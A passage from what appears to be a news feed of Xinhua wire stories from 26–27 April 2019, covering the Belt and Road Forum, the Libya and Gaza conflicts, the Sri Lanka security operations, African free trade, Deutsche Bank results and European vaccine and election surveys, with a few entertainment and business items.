Jinping on Friday met with United Nations (UN) Secretary-General Antonio Guterres, who is attending the Second Belt and Road Forum for International Cooperation in Beijing. China firmly upholds multilateralism, the international system with the UN at its core, and the international order based on international law, and promotes the building of a community with a shared future for humanity, Xi said. The more complex and grim the situation is, the more important it is to manifest the authority and role of the UN, Xi said, adding that China will continue to support the UN. Noting that the Chinese people not only pursue a good life for themselves, but also work for common interest and harmony of the world, Xi said the Belt and Road Initiative (BRI) embodies the idea of mutual benefit, and is in line with the UN's sustainable development concept. Describing the UN as an important partner in promoting the BRI, Xi said that China is ready to work with the UN to advance the initiative in an all-round way while following the principle of delivering shared benefits through extensive consultation and joint contribution. Guterres said President Xi's speech delivered at the forum on Friday morning is very important, as it elaborates the interrelationship between the BRI and global development agenda. He spoke highly of China's major measures for further reform and opening up. China firmly upholds multilateralism, and safeguards equity and justice, as well as the purposes and principles of the UN Charter, the UN chief said, adding that China has played an important role in stabilizing, and brought certainty, confidence and hope to the world. Calling on countries around the world to seize the opportunities brought about by the BRI cooperation and achieve win-win outcomes, Guterres said history will prove that China's development is not only an irresistible historical trend, but also a major contribution to human progress. Source: Xinhua| 2019-04-26 23:58:16|Editor: yan Video Player Close COLOMBO, April 26 (Xinhua) -- Sri Lanka's special forces were engaged in a severe gun battle with suspected terrorists in Kalmunai city, in the Eastern Province on Friday evening, the military said. In a statement, the army said a combined team of Security Forces including the Army came under fire when they were proceeding to search for a suspicious location, which produces suicide bomb kits and explosives. A group of five to six terrorists began firing at them, when the forces were approaching. The military said a shoot out was still underway. According to local media, immediate police curfew has been imposed with effect for Kalmunai and surrounding areas. Earlier on Friday evening, the military said security forces recovered flags belonging to Islamic State, literature and some other objects from a house in the Ampara distict, also in the east, which is said to be the terrorist organization's place for oath-taking. Source: Xinhua| 2019-04-26 23:58:18|Editor: Li Xia Video Player Close Li Zhanshu (R), a member of the Standing Committee of the Political Bureau of the Communist Party of China Central Committee and chairman of the Standing Committee of the National People's Congress, meets with General Secretary of the Lao People's Revolutionary Party Central Committee and Lao President Bounnhang Vorachit, who is attending the Second Belt and Road Forum for International Cooperation, in Beijing, capital of China, April 26, 2019. (Xinhua/Yin Bogu) BEIJING, April 26 (Xinhua) -- Li Zhanshu, chairman of the Standing Committee of the National People's Congress (NPC), on Friday met with Lao President Bounnhang Vorachit, who is attending the Second Belt and Road Forum for International Cooperation in Beijing. Li, also a member of the Standing Committee of the Political Bureau of the Communist Party of China Central Committee, said that China is willing to strengthen high-level contacts between the two countries and push forward the bilateral relations. Li said that the NPC is willing to enhance exchanges and cooperation with the Lao National Assembly. Bounnhang, also general secretary of the Lao People's Revolutionary Party Central Committee, said Laos is ready to work closely with China to make new progress in building a community with a shared future for the two countries. ABC/Lorenzo Bevilaqua Four sixths of one of the most iconic R&B groups to date will return to the stage Friday night, as New Edition's Ronnie DeVoe, Bobby Brown, Ricky Bell and Michael Bivins launch the 2019 leg of their 4 the Love of It tour under their new moniker RBRM. The tour kicks off tonight in Biloxi, Mississippi and the pioneering boy band says fans attending their concert will be taken on a nostalgic trip to "a good space and time." "It takes you back just to a time and space where people felt good about themselves," DeVoe tells ABC Radio. "It's hard in the world today, as it stands." He continued, "So, any time you can get away from those things and enjoy yourself for that hour and a half, that's what it's all about." The trek will make its way to a handful of select cities including New York, Atlanta and Orlando, before wrapping July 26 in Cincinnati. And, while fans will hear all the hits, like "My Prerogative" and "Poison" live in concert, DeVoe claims that not everyone was on board at first with the idea of the tour coming together. "Initially, even some of our friends were like: 'C'mon y'all. I don't know if I want RBRM. I want all six,'" the vocalist recalled. "But, now they sit this show next to maybe the one or two best New Edition/BBD/Bobby Brown shows of all time, in the history of us entertaining people since 1983. So, it feels good to establish another branch from the New Edition tree." Tickets for 4 the Love of It tour are now available for purchase via Ticketmaster. Copyright 2019, ABC Radio. All rights reserved. Black Pink have become the first K-pop girl group to appear on the main music charts in the U.S. and U.K. for two consecutive weeks. Their new album "Kill This Love" released on April 5 ranked 93rd on the latest Billboard 200 chart published on Tuesday, while its lead track of the same title ranked 73rd on the magazine's Hot 100 chart. Source: Xinhua| 2019-04-27 00:08:27|Editor: yan Video Player Close JOHANNESBURG, April 26 (Xinhua) -- The South African President Cyril Ramaphosa on Friday fired two National Prosecuting Authority (NPA) advocates Nomgcobo Jiba and Lawrence Mrwebi for professional conduct. This follows the recommendations of the Mokgoro Enquiry into the fitness of the two officials to hold office which Ramaphosa instituted in 2018. The inquiry which was presided by a retired Constitutional Court Justice Yvonne Mokgoro recommended that the two be fired from government. "The inquiry has found that both officials are not fit and proper to hold their respective offices," said Presidential spokesperson Khusela Diko. The conduct of the two prosecutors is questionable in withdrawing of some cases, with advocate Jiba's improper withdrawing of murder charges against the now retired crime intelligence boss Richard Mdluli being one. Corruption Watch welcomed the dismissal of the two advocates whom they said were responsible for destroying public trust in an institution. Jiba was the deputy national director of public prosecutions while Mweri was special director of public prosecutions. Source: Xinhua| 2019-04-27 00:13:30|Editor: yan Video Player Close ADDIS ABABA, April 26 (Xinhua) -- East African business community leaders on Friday called for concerted efforts to fast-track the realization of the African Continental Free Trade Area (AfCFTA). East African business leaders, who have been convening on the potential benefits of the AfCFTA for the private sector under the umbrella of the UN Economic Commission for Africa (ECA), on Friday urged for the realization of the continental free trade pact, the ECA said in a statement on Friday. The ECA, which brought together some 40 key East African business leaders on Thursday in collaboration with the East African Business Council, in meeting outcome statement issued Friday revealed that the region's business community representatives' common position, reiterating their support to the ambitious free trade pact. "The AfCFTA is not simply a free trade agreement. It's about establishing a unified continental market with 1.2 billion potential customers and where the private sector is a major engine to make it happen," private sector leaders said after the meeting. The ECA, which stressed "large potential gains" from the free trade pact, also projected an estimated a 1 billion U.S. dollars increase in the exports of eastern African countries, as well as close to 1.9 million new job opportunities in the region. Once operational, the AfCFTA is projected to boost the level of intra-Africa trade by about 52 percent by the year 2020, according to figures from the ECA. The AfCFTA, which was launched in Kigali, capital of Rwanda, in March 2018, mainly aspires to create a tariff-free continent that can grow local businesses, boost intra-African trade, spur industrialization and create more jobs. Noting that African economies have a collective GDP of 2.5 trillion U.S. dollars that makes the continent the 8th largest economy in the world, the East African business actors also stressed that the AfCFTA would "make the continent much more attractive to investment, both from within and from outside the continent." "This should encourage business people to take advantage of AfCFTA and make the investments necessary to sustain economic growth and create employment," ECA's statement quoted Andrew Mold, Director of ECA's Eastern Africa regional office, as saying. East African Business Council Chairman, Nick Nesbitt, also emphasized the importance of the continent having a clear vision to put an end to the fragmentation of the internal market. "We really applaud everyone involved in creating the AfCFTA, because their vision is pan-Africanism," Nesbitt said, adding it is something our founding founders aspired to. The AfCFTA, which was so far ratified by 22 African countries, has so far witnessed 19 African Union (AU) members depositing the instruments of ratification to the 55-member pan African bloc, in which three additional deposits of ratifications are presently expected to officially commence the free trade pact. Deposits of ratification are currently expected from Sierra Leone, Zimbabwe and Gambia following the ratification of the AfCFTA by the three countries' parliaments recently, the AU revealed recently. The AfCFTA will enter into effect one month after receipt of the 22nd instrument of ratification, which is the minimum threshold needed to approve the agreement into force, according to the AU. Source: Xinhua| 2019-04-27 00:13:35|Editor: yan Video Player Close TRIPOLI, April 26 (Xinhua) -- The UN-affiliated International Organization for Migration (IOM) said on Friday that the fighting between the UN-backed Libyan government and the east-based army in and around the capital Tripoli has so far forced more than 38,000 people to flee their homes. "There are now 38,900 displaced persons as clashes continue to rage in Tripoli, and more civilians are fleeing their homes," IOM said in a statement. "IOM Libya DTM (Displacement Tracking Matrix) is tracking displacement daily as well as assessing the needs of vulnerable persons which is vital in ensuring an informed humanitarian response," the UN agency noted. The east-based army, led by Khalifa Haftar, has been leading a military campaign since early April to take over Tripoli from the government. The fighting so far has killed at least 270 and injured more than 1,300 others, according to the World Health Organization. Libya has been struggling to make a democratic transition amid insecurity and chaos ever since the fall of former leader Muammar Gaddafi in 2011. Source: Xinhua| 2019-04-27 00:18:37|Editor: yan Video Player Close RIGA, April 26 (Xinhua) -- A flight of the Russian carrier Aeroflot made an emergency landing at Riga International Airport on Friday afternoon, the airport's spokesperson said. The airport was alerted by the crew of the Sukhoi Superjet 100 that the aircraft was having technical problems. The airport's staff handled the landing of the plane in line with the highest safety standards, the airport's representative Laura Karnite said. Information available at flightaware.com, flight tracking website, shows that the Moscow-bound Aeroflot flight departed from Riga at 2:25 p.m. but over the southeastern Latvian town of Rezekne started to lose altitude quickly. After the aircraft's flight altitude dropped from 10 to 3 kilometers, the plane turned around and returned to Riga. Source: Xinhua| 2019-04-27 00:23:43|Editor: yan Video Player Close TRIPOLI, April 26 (Xinhua) -- Italian Prime Minister Giuseppe Conte said on Friday that there is no military solution to the Libyan crisis. Conte made the remarks during a phone call with his Libyan UN-backed counterpart Fayez Serraj, according to a statement issued by the Libyan prime minister's information office. The Italian prime minister "called for immediate stop to the aggression ... and announced that Italy will spare no effort to end the crisis and save Libyans' lives," the statement said. Serraj "expressed gratitude for the Italian government's clear position to reject the aggression, stressing that the Libyan army forces will defend the capital and the Libyan people's choice to establish a civil state," it added. The east-based army, led by Khalifa Haftar, has been leading a military campaign since early April to take over the capital Tripoli from the government. The fighting so far has killed more than 270, injured at least 1,300 others, and forced more than 13,000 to flee their homes. Libya has been struggling to make a democratic transition amid insecurity and chaos ever since the fall of former leader Muammar Gaddafi in 2011. Source: Xinhua| 2019-04-27 00:23:45|Editor: yan Video Player Close NANNING, April 26 (Xinhua) -- Surrounded by shelves filled with Vietnamese specialties, Doan Tieu Hang, a 23-year-old Vietnamese girl, spoke in fluent Chinese to visitors swarming into the shop. The store Doan works in is located at what locals call "Vietnamese Street" in Dongxing, a city in southwest China's Guangxi Zhuang Autonomous Region that is separated from Vietnam by a narrow river. The street is bustling with fruit and specialties as well as workers like Doan from Vietnam. As China's Belt and Road Initiative boosts ties between both countries, working in Dongxi has become a growing trend. Over 3.18 million people passed through the border at Dongxi Port in the first quarter of 2019, up by 15.1 percent compared with the same period last year, according to local statistics. The local government is also working to extend visa permits, ease customs clearance and strengthen regulations on Chinese employment agencies in a move to facilitate the process. Through the port, it only takes Doan 20 minutes to get from her Vietnam home to the store, and passing through customs can take as little as six seconds. "It's just like working in Vietnam," said Doan, who started her job in the store in April 2018. Doan said she came to Dongxing to learn and plans to build her own business in Vietnam in the future. Seeing the rocketing number of Chinese tourists to the city in recent years, she eyes big opportunity. The number of duty-free shops on the Vietnam street rose from two six years ago to over a dozen now, and businesses are booming, Doan said. She makes about 3,000 yuan (447.3 U.S. dollars) per month from her street shop, around 1,000 yuan higher than that at home. Eyeing the opportunities, more Vietnamese are learning Chinese, according to Doan, whose family of five can all speak Chinese, except for her little brother. The influx of Vietnamese workers also proves to be beneficial for the local government, which has been grappling with rising labor costs and shortage of labor in recent years. Guangxi launched a scheme in 2017 to allow border cities like Dongxing to legally hire Vietnamese on monthly renewable visas, and the local government is working to extend the visa permit to 180 days. Chu Van Phong, from Hanoi, was granted the one-month visa and works as a loader at a fruit seller in the border city of Pingxiang. "Working here is quite reassuring," Chu said, "My company has even bought accident insurance for me." Local governments in the border cities have also set up labor dispatch companies, which directly sign contracts with Vietnamese workers, instead of just working as an intermediary, to protect their labor rights. "The cross-border labor cooperation facilitates work and trade for Vietnamese people and enables them to enjoy the benefits brought by the Belt and Road Initiative," said Jiang Liansheng, head of the provincial department of commerce. Source: Xinhua| 2019-04-27 00:28:47|Editor: yan Video Player Close JOHANNESBURG, April 26 (Xinhua) -- About 30,000 South Africans living abroad are expected to cast their ballots on Saturday, said the Independent Electoral Commission (IEC) on Friday. The IEC said that voting would take place at South Africa's high commissions, embassies and consulates general globally. Over 9,000 South Africans set to vote are based in London. Other cities include in Dubai and The Hague. IEC spokeperson Kate Bapela said the voting process has been made easier. "This year's voting process has been simplified and they will no longer be required to complete a special voting form before voting," she said. While senior IEC officials have been deployed to cities such as London and Dubai, voting would also be conducted by trained South African diplomats. Bapela said that cast ballots would be brought to South Africa. "Once they have voted, their ballot is sealed in a double envelope and all ballots are placed in sealed diplomatic bags which will be transported back to the IEC in the coming week," she said. Different political parties agents and observers would be observing the election. South Africans living overseas can only vote in national elections and not the local government elections, it was reported. Source: Xinhua| 2019-04-27 00:33:50|Editor: yan Video Player Close BEIJING, April 26 (Xinhua) -- The Belt and Road Initiative (BRI) is growing up and gaining global traction, said Klaus Schwab, founder and executive chairman of the World Economic Forum (WEF), here on Friday. In an interview with Xinhua on the sidelines of the second Belt and Road Forum for International Cooperation (BRF), he said that when he attended the first BRF in 2017, the BRI "was still a child growing up and you don't know what the end of it will be." "Now the BRI has become an adult, which means that it has become an important factor in the global economy. It has grown up," he told Xinhua. Illustrating his understanding of the BRI in a speech at the ongoing second BRF, the professor said that through the BRI and institutions like the Asian Infrastructure Investment Bank, China can demonstrate to the world that "the philosophy and concept of the Belt and Road is more than an important initiative." The WEF founder, an advocate of "Globalization 4.0," said that if people want globalization to continue as a positive force, a higher level of globalization is needed to respond to the needs and realities of a transforming world. The BRI, he added, can be "a building block and a role model of" an advanced pattern of global cooperation that should be more sustainable, more inclusive and more collaborative. Over the years, Schwab has articulated on many occasions his views of the BRI. At the 2015 Summer Davos Forum in northeast China's port city of Dalian, he said he was happy to see that China proposed the BRI. There was a huge infrastructure demand in Asia and Europe, and it was a good thing for China to play a leading role in building infrastructure in the region, he noted. Partly thanks to the fact that it met the development needs of many countries, the BRI continued with rapid progress, promoting common development in participating countries and bringing Asia and Europe ever closer. On May 13, 2017, the 1,000th China-Europe freight train that year departed from China's eastern city of Yiwu to Europe, fully loaded with commodities like smallware and clothes. The next day, Schwab reaffirmed his full support for the BRI in an address at the first BRF. Not hiding his enthusiasm about the BRI, he said the initiative "takes a long-term and holistic view, and makes a unique contribution to international cooperation and economic development." He pointed out that connectivity, a primary focus of the BRI, "is the new meta-pattern of our era and a key driver of our future economy." Citing a Chinese saying that "if you want to get rich, build a road," he said, "I would update this to say: 'If you seek prosperity, build connectivity.'" One month later, in an interview with Xinhua ahead of the 2017 Summer Davos Forum, also held in Dalian, Schwab pointed to the BRI's paradigm-shifting significance. "The Belt and Road Initiative has great significance because it is a new approach to reach a new and open cooperation ... and everybody can participate in a win-win situation as an equal partner," he said. Since Chinese President Xi Jinping proposed the initiative six years ago, 126 countries and 29 international organizations have signed BRI cooperation documents with China. The initiative has become the world's largest platform for international cooperation and the most welcomed global public good. The BRI "is now growing up into a mature initiative that can have even more impact," Schwab told Xinhua. Source: Xinhua| 2019-04-27 00:33:53|Editor: yan Video Player Close HARARE, April 26 (Xinhua) -- At least 29.3 million kilograms of tobacco worth about 51.1 million U.S. dollars have been sold so far at auction and contract floors as the marketing season is moving slowly due to pricing concerns by farmers. The marketing season opened on March 20. In a trading update on Friday, the Tobacco Industry and Marketing Board (TIMB) said sales had declined by 66 percent from about 151.1 million dollars recorded during the same period last year. The volumes dropped by 45.6 percent from 53.9 million kg during the comparable period last year. The average price for auction and contract sales stood at 1.75 dollars per kg which is 37.6 percent lower than the 2.80 dollars for the same period last year. According to the TIMB, tobacco prices have remained subdued as merchants are not happy with the arrangement the Reserve Bank of Zimbabwe (RBZ) has put in place regarding the recovery of loans advanced to farmers. The RBZ directed tobacco farmers to pay 70 percent of the loan amounts they sourced from merchants in United States dollars, while the balance would be settled in RTGS dollars. The move came after tobacco farmers had complained to the central bank and the agriculture ministry that merchants were demanding that farmers repay their RTGS dollar loans in hard currency. TIMB chairperson Monica Chinamasa said recently that the issue of prices was stemming from unresolved matters with merchants. "The finance minister has to sit down with the merchants and agree what is good or fair to both," Chinamasa said. Farmers are also crying foul over a litany of problems, including the low prices being offered at the auction floors, amid revelations that tobacco merchants were not keen to buy due to disgruntlement over the recovery of loans. The tobacco farmers have also expressed frustration with the payment system for the crop at the auction floors, currently denominated in RTGS dollars saying the local currency gets wiped out by ever increasing cost of inputs. Zimbabwe's tobacco output in 2019 is expected to decline from last year due to harsh weather conditions that were marked by late rains and prolonged dry spells. Last year, the country produced an all-time high of 252 million kilograms of tobacco, earning about a billion dollars in revenue. Source: Xinhua| 2019-04-27 00:33:55|Editor: Li Xia Video Player Close Chinese Consul-General in Chicago Zhao Jian (R) speaks during a press reception in Chicago, the United States, on April 25, 2019. Chinese Consul-General in Chicago Zhao Jian said the Belt and Road Initiative (BRI) provides development opportunities and joint benefits for all participants. Zhao made the remarks at a Chinese language press reception on Thursday held by the Chinese Consulate General in Chicago. (Xinhua/Wang Ping) CHICAGO, April 26 (Xinhua) -- Chinese Consul-General in Chicago Zhao Jian said the Belt and Road Initiative (BRI) provides development opportunities and joint benefits for all participants. Zhao made the remarks at a Chinese language press reception on Thursday held by the Chinese Consulate General in Chicago. "Though originating from China, the BRI belongs to the whole world. BRI is not a geopolitical tool or an exclusionary bloc, but an initiative for economic cooperation," noted Zhao. Initiated by China in 2013, the BRI has yielded fruitful results. A total of 126 countries, including developed and developing nations, and 29 international organizations have signed cooperation documents with China on the initiative, according to official figures. "It reflects the strong influence and appeal of the BRI," said Zhao, adding that the BRI has delivered tangible benefits to local regions and people. Zhao said that thanks to the BRI, the landlocked country of Kazakhstan has gained convenient export channels; the Port of Piraeus in Greece has been transformed into one of the fastest-growing container ports in the world; Egypt has become the world's third largest producer of fiberglass next to the United States and China. "Instead of a zero-sum game, the BRI is meant for mutual benefits and win-win outcomes," Zhao said, adding that China aims to achieve common prosperity and a shared future for humanity. LG Electronics will relocate 750 workers from a smartphone manufacturing factory it is closing in Pyeongtaek, south of Seoul to its home appliance plant in Changwon in the southeast. The decision comes after LG decided to shut down its smartphone manufacturing operations in Korea because of mounting losses. Manufacturing will move to LG's plant in Hai Phong, Vietnam. "We will provide support to workers transferring to Changwon so they can adjust to their new surroundings," an LG spokesman said. "We will negotiate support measures like transport allowances at weekends and housing support with the labor union." The relocated workers will be put to work on assembly lines making air purifiers, tumble dryers and other home appliances. Source: Xinhua| 2019-04-27 00:54:00|Editor: yan Video Player Close by Marian Draganov SOFIA, April 26 (Xinhua) -- China's Belt and Road Initiative is usually associated with massive infrastructure and trade investments, but for one Bulgarian entrepreneur, the prospect of joining the initiative is literally strewn with roses. For Mihail Mihaylov, head of Bulgarian Organirose Ltd., it all started in 2016 at Cosmoprof Worldwide, a leading beauty industry trade fair in Bologna, Italy. Mihaylov teamed up with partners from China to showcase facial masks -- a traditional method of facial care in China -- made from petals of roses, of which Bulgaria is famous. The country produces an average three tons of rose oil each year, which represents around half of global demand for this essential oil. COMBINING TRADITIONS Visitors and experts were equally appreciative, Mihaylov recalled in an interview with Xinhua, because such a product combining the traditions of two geographically remote cultures "had not been presented at such a big fair before." "Italy, the first Group of Seven member state to endorse the Belt and Road Initiative, has become our stepping-stone for Europe," Mihaylov explained, recalling the evolution of Organirose's marketing strategy. Back in 2016, Mihaylov's company concluded a contract with an Italian partner, and Cosmoprof's facial mask went on sale in Italy. The Italians tend to be "fashion-oriented," and they found the unique product from the company attractive and innovative, he said. Organirose's hydrating mask is recommended to be applied for 15-20 minutes, as opposed to moisturizing creams, which are normally dabbed or rubbed on the skin. The effect is much better, Mihaylov explained, as this way all the mask's active ingredients can seep into the skin. Rose water and rose oil have around 400 active ingredients, and their effect is highly beneficial, he said. Professional cosmetologists were also "very impressed with this combination of silky film, rose oil or rose water," Mihaylov said. Since the trade fair, many companies have begun to launch similar products. "Of course, none of them do it like us, with 100 percent natural rose water," Mihaylov claimed. "The combination of Bulgarian roses, facial masks and the Chinese tradition of using facial cosmetics turned out to be a hit among customers," Mihaylov said. EASTWARD EXPANSION The oil-bearing rose Rosa Damascena was brought to Bulgaria from the Middle East more than 300 years ago. Technology for the production of rose oil has also been well developed in Bulgaria. Today, Italy is responsible for about 30 percent of Cosmoprof's business in Europe, and Mihaylov is busy exploring other markets along the Belt and Road route. In Romania, sales developed rapidly thanks to the two countries' geographic proximity, kindred mentality and Mihaylov's previous contacts. "There we have a very large distributor with its own big chain of stores and network that works very well," he said. Greece was the first country where his partners agreed to jointly establish a large chain of stores in several tourist destinations like Santorini and Mykonos, Mihaylov said. The first store is scheduled to open later this year. Mihaylov's next target is Russia, although this project is no bed of roses. "I have been in the business for over 20 years. At the beginning, the best cosmetics business was with Russia, but it has fallen to zero," he said, citing the trade embargo and very difficult payment, supply and import conditions as causes. "I very much want to have business with Russia, but unfortunately it is not possible for now. I hope the Belt and Road Initiative will create normal conditions for all types of relationships -- cultural, economic and people-to-people," Mihaylov said. Mihaylov first visited China 12 years ago to participate in a trade show. Today, he conducts the best part of his business with China, and his company's prospects are looking up. "People's emotions, feelings and especially their attitudes towards roses in China are very similar to those of us Bulgarians," Mihaylov said, admitting that "for Europeans, the rose is mainly business -- they do not have such an attachment to the rose." Source: Xinhua| 2019-04-27 00:54:01|Editor: yan Video Player Close BERLIN, April 26 (Xinhua) -- The net income of Deutsche Bank rose by 67 percent year-on-year to 201 million euros (224 million U.S. dollars) in the first quarter (Q1) of fiscal year 2019, Germany's largest bank announced on Friday. However, the bank's revenues fell by 9 percent to 6.4 billion euros in Q1, making 2018 the ninth consecutive year of decreasing revenues. In Q1 2019, the bank's corporate and investment sector saw a decline in revenues of 517 million euros or 13 percent compared to the same period last year. "Our first quarter results demonstrate the strength of our franchise and our continued progress in executing our plans in a very challenging market environment," said Chief Executive Officer (CEO) Christian Sewing. Deutsche Bank's loan volume grew by 10 billion euros in Q1, of which 5 billion euros were attributable to the bank's corporate and investment business, while 3 billion went to private and corporate banking. In addition, Deutsche Bank had reduced its non-interest expenses by 8 percent to 5.9 billion euros in Q1, which "substantially offset a challenging revenue environment," according to the bank. "Our continued cost discipline helped us to offset lower revenues and we are well on track to meet our 2019 cost target of 21.8 billion euros," Sewing said. Prior to the publication of the quarterly figures, Deutsche Bank and Germany's other largest lender Commerzbank terminated their six week-long talks about a possible merger on Thursday. Martin Zielke, CEO of Commerzbank, and Sewing had agreed unanimously that such a "transaction would not have created sufficient benefits to offset the additional execution risks, restructuring costs and capital requirements associated with such a large-scale integration." "Such cooperations only make sense if they pay off in business terms and move towards a resilient business model," commented German Finance Minister Olaf Scholz on the termination of the talks between the two banks on Thursday. Scholz, who was one of the supporters of a merger between Deutsche Bank and Commerzbank, said that the "globally active German industry" would need competitive financial institutions "that could accompany it all over the world." (1 euro = 1.12 U.S. dollars) Source: Xinhua| 2019-04-27 00:59:07|Editor: yan Video Player Close LUSAKA, April 26 (Xinhua) -- The China-proposed Belt and Road Initiative (BRI) has brought opportunities for Africa to accelerate the African Continental Free Trade Agreement, a Zambian think tank said on Friday. Commenting on the opening of the second Belt and Road Forum for International Cooperation in Beijing, the Policy Monitoring and Research Center said Africa needs to embrace the opportunities presented to enhance trade. The think tank believes that the plans of the BRI presents a chance for Africa to link up in the global trading system. Bernadette Deka-Zulu, the think tank's executive, said opportunities under the BRI may help Africa actualize some of the objectives in the free trading arrangement. She said the BRI offers immense benefits to African countries to spur economic development, indicating that African countries should come up with homegrown plans on how they can fully benefit from the initiative. She further said the BRI will help African countries increase exports as well as attract more foreign direct investments. "Our take is that an investment injection into an African country means a direct investment into economic opportunities for those countries' people. For us in Zambia which is grappling with economic issues right now, more trade means more income," she added. She said authorities in Zambia have come up with strategy on how the country could benefit from the initiative, adding that the initiative has demonstrated that it means for the economic development of Africa. She dispelled allegations by some critics that the initiative was meant to create a "debt trap" in participating countries. According to her, African countries have the right to choose who to associate with, adding that China has demonstrated that it wanted a win-win cooperation agreement. Other Zambian experts said the BRI also presents opportunities for the country and the continent to diversify economies. The experts said that Zambia needs to do a stock of what it is producing in terms of agriculture and other products so as to benefit more from the trade opportunities presented by China. "We have to know what we have to offer and find out from China what products they would want," said Private Sector Development Association President Yusuf Dodia. He pointed out that Zambia has a capacity to produce a lot of food products and the market for food in China is huge given the population of that country. Haggai Kanenga, Lecturer and Researcher in the Department of Development Studies, University of Zambia, observed that China pledges to further open up itself. "This is a good opportunity for Zambia to take up and make sure that we meet some of these anticipations from China," Kanenga. He said that the messages sent by China at the forum presents Zambia with the opportunity to diversify its economy, including the agricultural sector. Source: Xinhua| 2019-04-27 01:14:10|Editor: yan Video Player Close BRUSSELS, April 26 (Xinhua) -- A significant number of Europeans have incorrect knowledge about vaccines, a survey publicized on Friday showed, as the European Commission said it is time to speak out against disinformation. 48 percent Europeans believe - incorrectly - that vaccines can often produce severe side effects and 38 percent think vaccines can cause the diseases against which they protect, according to the first Eurobarometer on attitudes towards vaccination. "This means our work to increase vaccine coverage and to fight against vaccine disinformation is far from finished," the Commission's Vice President Jyrki Katainen said in a statement titled"Vaccination: Time to speak out against disinformation!" The statement did not mince words explaining that the vaccination works: vaccination is one of the most successful public health measures to date. Not only do vaccines prevent diseases and save lives, they also reduce healthcare costs. Over the last two centuries, it has been consistently proven that vaccines work. "It is a matter of fact, not a matter of opinion," it added. Unfortunately, there is a global trend seen over the past few years that Western countries struggle with declining vaccination rates, thanks to disinformation in communities about vaccines, especially the measles/mumps/rubella vaccine. As a result, this year saw the greatest number of measles cases reported in the United States since the disease was declared eliminated from the country in 2000. The World Health Organization (WHO) has named vaccine disinformation as one of the top 10 public health threats this year. But there are also some good news from the Eurobarometer survey on attitudes towards vaccination: 85 percent of EU citizens believe vaccination is an effective way to prevent infectious diseases. In addition, around half of EU citizens have been vaccinated in the last five years and a large majority (79 percent) consult and trust a healthcare professional to get information about vaccinations. The European Commission and the WHO will be hosting a Global Vaccination Summit on September 12, 2019 in Brussels, according to the statement which ends with "one simple fact: Vaccines Work!" Source: Xinhua| 2019-04-27 01:24:16|Editor: yan Video Player Close WASHINGTON, April 26 (Xinhua) -- The U.S. Treasury Department said on Friday that it had imposed sanctions on Venezuelan Foreign Minister Jorge Arreaza and a Venezuelan judge. Jorge Arreaza and the female judge, Carol Padilla, were put on the blacklist of Treasury's Office of Foreign Assets Control (OFAC), according to a statement issued by the department. As a result of the sanctions, all property and interests in property of those sanctioned targets that are subject to U.S. jurisdiction will be blocked, and U.S. persons are generally prohibited from engaging in transactions with them, the statement noted. The United States has been pursuing a policy of economic sanctions and diplomatic isolation against the Venezuelan government in support of the opposition leader Juan Guaido. The OFAC last week targeted Central Bank of Venezuela and its director Iliana Josefa Ruzza Teran. In response, Arreaza called U.S. economic and financial sanctions that impact the whole nation represent human rights violations on a grand scale. The U.S. administration recognized Guaido as the nation's "interim president" on Jan. 23, days after Nicolas Maduro was inaugurated for a second term. In response to Washington's support for Guaido, Maduro announced that he was severing "diplomatic and political" ties with the United States. Source: Xinhua| 2019-04-27 01:44:23|Editor: Xiaoxia Video Player Close A Palestinian medic carries a wounded young man during clashes with Israeli troops on the Gaza-Israel border, east of Gaza City, April 26, 2019. At least 60 Palestinian demonstrators were injured on Friday afternoon during clashes with Israeli soldiers in the eastern Gaza Strip close to the border with Israel, medics said. (Xinhua) GAZA, April 26 (Xinhua) -- At least 60 Palestinian demonstrators were injured on Friday afternoon during clashes with Israeli soldiers in the eastern Gaza Strip close to the border with Israel, medics said. The clashes between the Palestinian demonstrators and the Israeli soldiers were part of the weekly anti-Israel rally, better known as the Great March of Return, which started in late March of 2018. Ashraf al-Qedra, spokesman of the Health Ministry in Gaza, told reporters that 60 demonstrators were hospitalized, including 19 children, a paramedic and a photojournalist. At least 25 were shot and wounded by Israeli gunfire in eastern Gaza, he added. Dozens suffered suffocation after inhaling tear gas fired by the Israeli soldiers on the border between the eastern Gaza Strip and Israel, the Gaza spokesman noted. The Highest Commission of the Great March of Return earlier called on the Gazans to join the weekly protests in the eastern Gaza Strip for the 56th Friday rally, which also called for ending the internal Palestinian division. "Gaining Palestinian unity is the best option for the Palestinians to face the current critical political situation," said the commission. Meanwhile, the Hamas spokesman Abdulatif al-Qanou said in an e-mailed press statement that the participants in the weekly protests "reflect the eagerness of the Palestinians to end the internal division and achieve unity." The Palestinians have been divided since 2007 when Hamas seized control of the Gaza Strip while the West Bank remained under the rule of Palestinian President Mahmoud Abbas' Fatah Party. The Israeli blockade and the internal Palestinian division between Hamas and Fatah have been negatively influencing all aspects of life, mainly in the Gaza Strip. During more than a year of weekly protests in the eastern Gaza Strip, the health ministry in the coastal enclave said the Israeli army has shot and killed 272 Palestinians and wounded more than 16,000 others. Source: Xinhua| 2019-04-27 01:49:28|Editor: yan Video Player Close BERLIN, April 26 (Xinhua) -- This May's European Parliament (EP) elections could result in a "political stalemate," according to a study published by the German Bertelsmann Foundation on Friday. "Deficits of representation activate and cause populism," according to the study, which said that European voters who felt themselves badly represented were "more likely to think and vote in a more populist way" in the upcoming EP elections. The study found, however, that it would be more difficult to "form new majorities in the new European Parliament," as populist-leaning voters were more divided on factual issues than voters of the established parties. "New lines of conflict and a stronger polarization of political disputes" were more apparent in the runup to the European elections than in previous such elections, the study showed. The Bertelsmann researchers found that two-thirds of all Europeans surveyed were planning to participate in the European elections in May. In Germany, 73 percent of all eligible voters expressed their intention to vote next month. Turnout among German voters for the previous European elections in 2014 was 48.1 percent. The majority of Europeans could be guided in their election decisions by their rejection of certain political parties -- known as "negative party identity." The Bertelsmann researchers found that around 49 percent of European voters had a "negative party identity" in that they completely rejected one or even several political parties. On average, only about 6.3 percent of Europeans identified positively with a political party. "Many citizens no longer choose a party but vote against those parties that they most strongly oppose," said Robert Vehrkamp from the Bertelsmann Foundation and co-author of the study. The study found an "almost identical" level of positive party identities of around 6 percent for the traditional party groups of the established political spectrum -- the Christian Democratic and conservative parties at the one end and social democratic and socialist parties at the other. In contrast, right-wing populist and right-wing extremist parties attracted "the highest proportion of voters with a positive party identity" at 10.3 percent. At the same time, left-wing and right-wing extremist and populist parties had a particularly high level of negative party identity at 52.8 and 52.2 percent, respectively. In other words, "these party groupings have not only a solid base of voters, but also a large number of sharp critics," the study found. "The populist parties succeeded in creating a stable voter base in a relatively short period of time. But their simultaneously high rejection rates also show how dangerous it would be for other parties to imitate the populist parties," said Vehrkamp. The Bertelsmann study was based on interviews with 